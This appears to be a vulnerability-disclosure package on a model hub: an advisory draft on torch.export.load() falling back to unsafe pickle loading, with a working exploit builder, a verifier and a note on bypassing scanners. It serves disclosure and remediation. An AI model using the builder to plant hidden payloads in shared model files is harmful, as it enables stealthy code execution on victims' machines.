EnigmaConsultant commited on
Commit
d8aeab1
·
verified ·
1 Parent(s): d33936e

Upload folder using huggingface_hub

Browse files
Files changed (5) hide show
  1. README.md +232 -0
  2. benign.pt2 +0 -0
  3. build_poc.py +121 -0
  4. model.pt2 +0 -0
  5. verify_exec.py +27 -0
README.md ADDED
@@ -0,0 +1,232 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # torch.export.load() `.pt2` — fail-open pickle fallback → arbitrary code execution (CWE-502 / CWE-94)
2
+
3
+ **Status:** hard-verified, staged. NOT filed. NOT uploaded.
4
+ **Verified on:** PyTorch **2.13.0+cpu** (latest release as of 2026-07-24), Python 3.13 (exec) / 3.12 (scanners).
5
+ **Verdict:** BOTH — (a) huntr Model-File-Format report (target `torch_export`) because all three scanners MISS the `.pt2`, and (b) a genuine PyTorch library ACE worthy of a GitHub Security Advisory regardless of scanner behavior.
6
+
7
+ ---
8
+
9
+ ## 1. Summary
10
+
11
+ `torch.export.load("model.pt2")` — the standard, documented loader for PyTorch's
12
+ `.pt2` export archive — deserializes the packaged `example_inputs` (and constants /
13
+ state_dict) through `torch._export.serde.serialize.deserialize_torch_artifact()`.
14
+ That function attempts a safe `torch.load(..., weights_only=True)` and, on **ANY**
15
+ exception, **silently falls back to `torch.load(..., weights_only=False)`**, which
16
+ executes arbitrary pickle `__reduce__` / `GLOBAL` code.
17
+
18
+ An attacker crafts the nested example-inputs pickle so that its first opcode is a
19
+ **non-allowlisted `GLOBAL`** (`__builtin__.eval`). Under `weights_only=True` the
20
+ safe unpickler's `find_class()` rejects it and raises — which triggers the unsafe
21
+ fallback, running the attacker's code. The payload returns an empty tuple, so
22
+ `deserialize_torch_artifact()`'s `isinstance(artifact,(tuple,dict))` post-check
23
+ passes and `torch.export.load()` returns a normal `ExportedProgram` with **no error
24
+ and no warning surfaced to the caller** — fully stealth.
25
+
26
+ This re-introduces, inside `torch.export`, exactly the arbitrary-code-execution that
27
+ PyTorch 2.6 closed when it flipped `torch.load`'s `weights_only` default to `True`.
28
+ The safe default is present but **structurally defeated by the blanket
29
+ `except Exception: → weights_only=False`**.
30
+
31
+ ## 2. Affected component (file : line)
32
+
33
+ `torch/_export/serde/serialize.py` → `deserialize_torch_artifact()`:
34
+
35
+ ```
36
+ 427 def deserialize_torch_artifact(serialized):
37
+ ...
38
+ 434 buffer = io.BytesIO(serialized)
39
+ 435 buffer.seek(0)
40
+ 436 # weights_only=False as we want to load custom objects here (e.g. ScriptObject)
41
+ 437 try:
42
+ 438 artifact = torch.load(buffer, weights_only=True) # safe path
43
+ 439 except Exception as e:
44
+ 440 buffer.seek(0)
45
+ 441 artifact = torch.load(buffer, weights_only=False) # <-- UNSAFE FALLBACK: arbitrary code exec
46
+ 442 log.warning("Fallback to weights_only=False succeeded. ...")
47
+ ...
48
+ 448 if not isinstance(artifact, (tuple, dict)):
49
+ 449 raise AssertionError(...)
50
+ ```
51
+
52
+ Reached from the public API:
53
+ `torch.export.load()` → `torch/export/__init__.py:load()` →
54
+ `torch/export/pt2_archive/_package.py:load_pt2()` → `_load_exported_programs()` →
55
+ `ExportedProgramDeserializer.deserialize()` →
56
+ `GraphModuleDeserializer.deserialize()` (`serialize.py:2989`,
57
+ `self.example_inputs = deserialize_torch_artifact(example_inputs)`) →
58
+ `deserialize_torch_artifact()` (`serialize.py:442`).
59
+
60
+ - **CWE-502** Deserialization of Untrusted Data (primary)
61
+ - **CWE-94** Improper Control of Generation of Code (Code Injection)
62
+ - **CWE-693** Protection Mechanism Failure (the fallback nullifies `weights_only=True`)
63
+
64
+ ## 3. Proof of concept
65
+
66
+ Build (harmless, non-destructive marker payload — writes `/tmp/PT2_RCE_POC.txt`):
67
+
68
+ ```
69
+ python build_poc.py # -> model.pt2 (malicious) + benign.pt2 (control)
70
+ ```
71
+
72
+ Trigger via the **standard documented loader only** (no private/internal API):
73
+
74
+ ```python
75
+ from torch.export import load
76
+ load("model.pt2") # returns ExportedProgram, no exception
77
+ # side effect: /tmp/PT2_RCE_POC.txt now exists -> code executed at load time
78
+ ```
79
+
80
+ `verify_exec.py` reproduces this and prints the marker contents. Observed output on
81
+ torch 2.13.0+cpu:
82
+
83
+ ```
84
+ marker present BEFORE load: False
85
+ torch.export.load() returned: ExportedProgram (NO exception -> stealth)
86
+ marker present AFTER load : True
87
+ marker contents : pwned via torch.export.load .pt2 fail-open fallback
88
+ ```
89
+
90
+ The captured traceback proves the exact path — the safe attempt raises, then the
91
+ unsafe fallback runs the gadget:
92
+
93
+ ```
94
+ File ".../torch/_export/serde/serialize.py", line 438, in deserialize_torch_artifact
95
+ artifact = torch.load(buffer, weights_only=True)
96
+ _pickle.UnpicklingError: Weights only load failed. ...
97
+ WeightsUnpickler error: Unsupported global: GLOBAL eval was not an allowed global by default...
98
+ During handling of the above exception, another exception occurred:
99
+ File ".../torch/_export/serde/serialize.py", line 442, in deserialize_torch_artifact
100
+ log.warning("Fallback to weights_only=False succeeded. ...") # line 441 already ran the gadget
101
+ ```
102
+
103
+ Payload delivery: the malicious pickle lives in the nested archive
104
+ `model/data/sample_inputs/model.pt` → `archive/data.pkl` inside the outer `.pt2`
105
+ zip. Disassembly of the inner pickle:
106
+
107
+ ```
108
+ 0: PROTO 2
109
+ 2: GLOBAL '__builtin__ eval' # non-allowlisted -> raises under weights_only=True
110
+ BINUNICODE "(open('/tmp/PT2_RCE_POC.txt','w').write('...'), ())[1]"
111
+ TUPLE1
112
+ REDUCE # eval(payload) executes on the fallback load
113
+ STOP
114
+ ```
115
+
116
+ A real attacker swaps the `eval(...)` argument for any command
117
+ (`os.system`, reverse shell, etc.). The gadget returns `()` so the load completes
118
+ cleanly and the model still functions — stealthy supply-chain implant in any
119
+ `.pt2` shared via a model hub.
120
+
121
+ Artifacts (sha256):
122
+ - `model.pt2` `bed23d781a5ab9d8d1dacc9579200e5dc9bb6bc3eb1d273e6b2436fd2b47c12e`
123
+ - `benign.pt2` `6260246907cb95686a45b3c5c41890da66f63dea06c797927fe068cda0a9c9ae`
124
+
125
+ ## 4. Scanner results (resolves the HOLD caveat) — all three MISS the `.pt2`
126
+
127
+ Pinned versions: **modelscan 0.8.8, picklescan 1.0.5, fickling 0.1.12** (numpy 2.5.1).
128
+
129
+ | Scanner | Command | Verdict on `model.pt2` (MALICIOUS) | Verdict on `benign.pt2` (control) |
130
+ |---|---|---|---|
131
+ | modelscan 0.8.8 | `modelscan -p model.pt2` | **MISS** — "No issues found! 🎉"; error: *"ModelScan does not support nested zip files."* | No issues found |
132
+ | picklescan 1.0.5 | `picklescan -p model.pt2` | **MISS** — "Scanned files: 0 / Dangerous globals: 0" (never reaches the nested pickle) | Scanned files: 0 |
133
+ | fickling 0.1.12 | `fickling --check-safety model.pt2` | **MISS** — *"No pickle files detected"* (does not unwrap the `.pt2` → nested `.pt` zip) | No pickle files detected |
134
+
135
+ Fickling only flags the gadget if a human **manually double-unzips** to the raw
136
+ inner `archive/data.pkl` (then reports `OVERTLY_MALICIOUS`) — but it also flags the
137
+ **benign** control's inner pickle as `LIKELY_UNSAFE` (`_rebuild_tensor_v2`), so even
138
+ that manual path is not a clean discriminator, and no automated `.pt2` scan reaches
139
+ it.
140
+
141
+ **Conclusion:** against the delivered `.pt2` artifact, **all three scanners provide
142
+ zero detection** → this is a clean scanner-bypass, hence huntr Model-File-Format
143
+ eligible (target `torch_export`) **and** an unmediated library RCE.
144
+
145
+ Root cause of the bypass (independent of the fail-open bug): the `.pt2` is a zip
146
+ containing a nested torch-save zip (`sample_inputs/model.pt`) that itself contains
147
+ the pickle — two levels of zip nesting that none of the three scanners descend into.
148
+
149
+ ---
150
+
151
+ ## 5. huntr Model-File-Format report (target: `torch_export`)
152
+
153
+ - **Title:** `torch.export.load()` executes arbitrary code from a crafted `.pt2` via fail-open `weights_only=False` fallback
154
+ - **Format / target:** `torch_export` (`.pt2`)
155
+ - **Vulnerability type:** Deserialization of Untrusted Data → RCE (CWE-502 / CWE-94)
156
+ - **Loader (standard, documented):** `torch.export.load(path)`
157
+ - **Affected:** PyTorch through 2.13.0 (latest); the fallback is present wherever
158
+ `deserialize_torch_artifact` exists in `torch/_export/serde/serialize.py`.
159
+ - **Scanner status:** modelscan 0.8.8 / picklescan 1.0.5 / fickling 0.1.12 all report
160
+ the malicious `.pt2` as clean (evidence table §4).
161
+ - **Impact:** loading an untrusted `.pt2` (e.g. downloaded from a model hub) executes
162
+ attacker code at load time; model returns normally afterward (stealth).
163
+ - **PoC:** `build_poc.py` + `verify_exec.py` (§3).
164
+
165
+ ## 6. PyTorch GitHub Security Advisory draft
166
+
167
+ **Summary.** `torch.export.load()` on a crafted `.pt2` archive achieves arbitrary
168
+ code execution. `torch._export.serde.serialize.deserialize_torch_artifact()`
169
+ attempts `torch.load(weights_only=True)` and, on **any** exception, silently retries
170
+ with `weights_only=False`, defeating the safe-by-default protection introduced in
171
+ PyTorch 2.6. A single non-allowlisted `GLOBAL` in the packaged example-inputs pickle
172
+ forces the safe attempt to raise and triggers the unsafe fallback.
173
+
174
+ **Affected versions.** Confirmed on `torch==2.13.0` (latest). The vulnerable
175
+ fail-open pattern is present in the current `main` and every release whose
176
+ `serialize.py` contains this try/except.
177
+
178
+ **Attack vector.** A malicious `.pt2` model file distributed via a model hub or any
179
+ untrusted channel; the victim invokes the ordinary `torch.export.load()`.
180
+
181
+ **CVSS 3.1:** `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` = **8.8 (High)**.
182
+ (Network-distributed model file; requires the victim to load it; full C/I/A loss via
183
+ arbitrary code execution.)
184
+
185
+ **Root cause.** `serialize.py:437-441`:
186
+ ```python
187
+ try:
188
+ artifact = torch.load(buffer, weights_only=True)
189
+ except Exception as e: # too broad
190
+ buffer.seek(0)
191
+ artifact = torch.load(buffer, weights_only=False) # arbitrary code execution
192
+ ```
193
+ `weights_only=True` raises `UnpicklingError` for *any* non-allowlisted global —
194
+ including benign-but-unlisted types — and the handler responds by disabling the
195
+ safety check entirely, so any attacker who can make the safe path raise (trivial:
196
+ include one disallowed `GLOBAL`) gains code execution.
197
+
198
+ **Reproduction.** See §3 (`build_poc.py`, `verify_exec.py`); harmless marker payload.
199
+
200
+ **Impact.** Remote code execution on any host that loads an untrusted `.pt2` with the
201
+ documented API. Silent — the load succeeds and the model works, enabling stealthy
202
+ supply-chain compromise.
203
+
204
+ **Remediation.**
205
+ 1. Remove the fail-open fallback — never downgrade to `weights_only=False`
206
+ automatically. If custom objects are genuinely required, gate them behind an
207
+ explicit, caller-supplied opt-in (e.g. a `trust`/`allow_unsafe` argument that
208
+ defaults to `False`), never as an automatic exception handler.
209
+ 2. If a fallback must exist, restrict it to a curated `safe_globals` allowlist via
210
+ `torch.serialization.safe_globals([...])` rather than unrestricted
211
+ `weights_only=False`.
212
+ 3. Do not silence the downgrade to `log.warning`; a security-relevant downgrade
213
+ should raise by default.
214
+ 4. Have `.pt2` loading refuse nested pickles carrying non-allowlisted globals
215
+ outright.
216
+
217
+ ---
218
+
219
+ ## 7. Files in this package
220
+
221
+ - `build_poc.py` — regenerates `model.pt2` (malicious) and `benign.pt2` (control); harmless marker payload only.
222
+ - `verify_exec.py` — loads `model.pt2` via `torch.export.load()` and confirms the marker was written (exec proof).
223
+ - `model.pt2` — malicious PoC archive.
224
+ - `benign.pt2` — benign control (scanner baseline).
225
+ - `README.md` — this document.
226
+
227
+ ## 8. Environment / versions
228
+
229
+ - torch: **2.13.0+cpu** (latest release, confirmed via PyTorch cpu index)
230
+ - python: 3.13 (exec venv), 3.12 (scanner venv — modelscan 0.8.8 requires <3.13)
231
+ - modelscan: **0.8.8**, picklescan: **1.0.5**, fickling: **0.1.12**, numpy: 2.5.1
232
+ - Exec confirmed: **YES** — `/tmp/PT2_RCE_POC.txt` written by `torch.export.load("model.pt2")`.
benign.pt2 ADDED
Binary file (5.56 kB). View file
 
build_poc.py ADDED
@@ -0,0 +1,121 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC builder for: torch.export.load() .pt2 fail-open pickle RCE
4
+ (CWE-502 / CWE-94) — torch/_export/serde/serialize.py::deserialize_torch_artifact
5
+
6
+ Produces:
7
+ model.pt2 -> malicious .pt2. torch.export.load("model.pt2") runs a
8
+ HARMLESS marker payload: writes /tmp/PT2_RCE_POC.txt
9
+ benign.pt2 -> control: a normal exported program (scanner baseline)
10
+
11
+ Mechanism
12
+ ---------
13
+ torch.export.load() unzips the .pt2 outer archive and, for the packaged
14
+ example_inputs, calls deserialize_torch_artifact(bytes) which does:
15
+
16
+ try: torch.load(buffer, weights_only=True) # safe path
17
+ except Exception:
18
+ torch.load(buffer, weights_only=False) # <-- UNSAFE fallback
19
+
20
+ The example_inputs blob is itself a torch save archive (a nested zip:
21
+ clean/data/sample_inputs/model.pt). We replace that nested archive's
22
+ `archive/data.pkl` with a pickle whose first opcode is a NON-allowlisted
23
+ GLOBAL (`__builtin__.eval`). Under weights_only=True the safe Unpickler's
24
+ find_class() rejects it and raises -> the except branch fires -> the SAME
25
+ bytes are re-loaded with weights_only=False -> the reduce runs arbitrary code.
26
+
27
+ The reduce returns `(<side-effect>, ())[1]` == () (empty tuple), so
28
+ deserialize_torch_artifact's post-check `isinstance(artifact,(tuple,dict))`
29
+ passes and torch.export.load() returns a normal ExportedProgram with NO error
30
+ -> fully stealth.
31
+ """
32
+ import io
33
+ import os
34
+ import struct
35
+ import zipfile
36
+
37
+ import torch
38
+ from torch.export import export, save
39
+
40
+ HERE = os.path.dirname(os.path.abspath(__file__))
41
+
42
+ # Harmless proof-of-execution marker (NON-destructive).
43
+ MARKER = "/tmp/PT2_RCE_POC.txt"
44
+ PAYLOAD_SRC = (
45
+ "(open(%r,'w').write('pwned via torch.export.load .pt2 fail-open fallback'), ())[1]"
46
+ % MARKER
47
+ )
48
+
49
+
50
+ def build_benign(path):
51
+ class Net(torch.nn.Module):
52
+ def forward(self, x):
53
+ return x + 1.0
54
+
55
+ m = Net().eval()
56
+ ex = (torch.randn(4),)
57
+ ep = export(m, ex)
58
+ save(ep, path)
59
+
60
+
61
+ def make_malicious_inner_pt(template_bytes: bytes) -> bytes:
62
+ """Take a real torch-save archive (the sample_inputs model.pt) and swap
63
+ its archive/data.pkl for our fail-open RCE pickle, preserving all other
64
+ entries so the container still looks like a legit torch archive."""
65
+ payload = PAYLOAD_SRC.encode()
66
+ mal_pickle = (
67
+ b"\x80\x02" # PROTO 2
68
+ b"c__builtin__\neval\nq\x00" # GLOBAL '__builtin__ eval' (NOT allowlisted)
69
+ + b"X" + struct.pack("<I", len(payload)) + payload + b"q\x01" # BINUNICODE payload
70
+ + b"\x85q\x02" # TUPLE1
71
+ + b"Rq\x03" # REDUCE -> eval(payload) executes here
72
+ + b"." # STOP
73
+ )
74
+ zin = zipfile.ZipFile(io.BytesIO(template_bytes), "r")
75
+ out = io.BytesIO()
76
+ zout = zipfile.ZipFile(out, "w", zipfile.ZIP_STORED)
77
+ for item in zin.infolist():
78
+ data = zin.read(item.filename)
79
+ if item.filename.endswith("/data.pkl") or item.filename.endswith("data.pkl"):
80
+ data = mal_pickle
81
+ zout.writestr(item, data)
82
+ zout.close()
83
+ return out.getvalue()
84
+
85
+
86
+ def build_malicious(path):
87
+ # 1. Build a clean .pt2 to use as the container template. The archive's
88
+ # internal top-level dir is derived from the file stem, so build the
89
+ # template with the final stem ("model") for a clean-looking container.
90
+ import tempfile
91
+ tmpdir = tempfile.mkdtemp()
92
+ tmp = os.path.join(tmpdir, "model.pt2")
93
+ build_benign(tmp)
94
+
95
+ # 2. Open the outer .pt2 zip, locate the nested sample_inputs model.pt,
96
+ # swap in the malicious inner archive, rewrite the outer zip.
97
+ zin = zipfile.ZipFile(tmp, "r")
98
+ out = io.BytesIO()
99
+ zout = zipfile.ZipFile(out, "w", zipfile.ZIP_STORED)
100
+ replaced = False
101
+ for item in zin.infolist():
102
+ data = zin.read(item.filename)
103
+ if item.filename.endswith("/sample_inputs/model.pt"):
104
+ data = make_malicious_inner_pt(data)
105
+ replaced = True
106
+ zout.writestr(item, data)
107
+ zout.close()
108
+ zin.close()
109
+ assert replaced, "did not find sample_inputs/model.pt to poison"
110
+ with open(path, "wb") as f:
111
+ f.write(out.getvalue())
112
+ os.remove(tmp)
113
+
114
+
115
+ if __name__ == "__main__":
116
+ mal = os.path.join(HERE, "model.pt2")
117
+ ben = os.path.join(HERE, "benign.pt2")
118
+ build_malicious(mal)
119
+ build_benign(ben)
120
+ print("built", mal)
121
+ print("built", ben)
model.pt2 ADDED
Binary file (4.38 kB). View file
 
verify_exec.py ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import logging, os, sys, io, traceback
2
+ # capture the torch warning that proves the fail-open branch ran
3
+ logbuf = io.StringIO()
4
+ h = logging.StreamHandler(logbuf); h.setLevel(logging.WARNING)
5
+ logging.getLogger("torch._export.serde.serialize").addHandler(h)
6
+ logging.getLogger("torch._export.serde.serialize").setLevel(logging.WARNING)
7
+
8
+ MARKER = "/tmp/PT2_RCE_POC.txt"
9
+ if os.path.exists(MARKER): os.remove(MARKER)
10
+
11
+ import torch
12
+ from torch.export import load
13
+
14
+ print("torch", torch.__version__)
15
+ print("marker present BEFORE load:", os.path.exists(MARKER))
16
+
17
+ ep = load(os.path.join(os.path.dirname(os.path.abspath(__file__)), "model.pt2"))
18
+ print("torch.export.load() returned:", type(ep).__name__, "(NO exception -> stealth)")
19
+
20
+ present = os.path.exists(MARKER)
21
+ print("marker present AFTER load :", present)
22
+ if present:
23
+ print("marker contents :", open(MARKER).read())
24
+
25
+ print("---- torch serialize logger output (proves fallback branch) ----")
26
+ print(logbuf.getvalue().strip() or "(no warning captured)")
27
+ sys.exit(0 if present else 2)